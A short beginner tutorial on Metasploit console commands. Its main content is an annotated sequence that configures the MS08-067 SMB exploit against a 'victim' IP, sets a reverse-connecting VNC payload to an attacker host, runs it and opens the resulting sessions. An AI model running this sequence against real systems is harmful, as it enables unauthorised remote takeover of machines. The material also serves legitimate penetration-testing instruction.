Metasploit Basic Command Tutorial

Metasploit is the database of all exploits and a software that contain information about different exploits so here is the basic usage of metasploit, I am using backtrack 5 machine for this tutorial however if you are using other Linux distribution or windows OS than it is fine but the requirement is Metasploit.
Msfconsole
Msfconsole is a console or a command windows of metasploit that will give you the full support of internal and external metasploit commands, there was a web interface of metasploit but now we don’t have that option.
So on your terminal type msfconsole to start metasploit console.
[*] Connected to www.metasploit.com:443
GET / HTTP/1.0
Ping command of msfconsole is to check the alive host and so on.
msf>info <payload>
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) > set rhost 119.67.45.2 → To set remote IP (victim IP)
msf exploit(ms08_067_netapi) > set lhost 192.168.1.45 → To set local IP (attacker IP)
msf exploit(ms08_067_netapi) > set rport 445 → To set port number of remote host
msf exploit(ms08_067_netapi) > set lport 443 → To set port number of local host
msf exploit(ms08_067_netapi) > set payload windows/vncinject/reverse_tcp_dns → Tp set payload
msf exploit(ms08_067_netapi) > unset rhost → To remove rhost
msf exploit(ms08_067_netapi) > unset lhost → To remove local host
msf exploit(ms08_067_netapi) > exploit → To execute exploit
msf exploit(ms08_067_netapi) > back → To go back on the main window
msf exploit(ms08_067_netapi) > sessions -l → To check any active session
msf exploit(ms08_067_netapi) > sessions -i ID → To go on a active session ID must be numeric number
Get more more interesting article like this
in your inbox
Subscribe to our mailing list and get daily new articles and updates to your email inbox.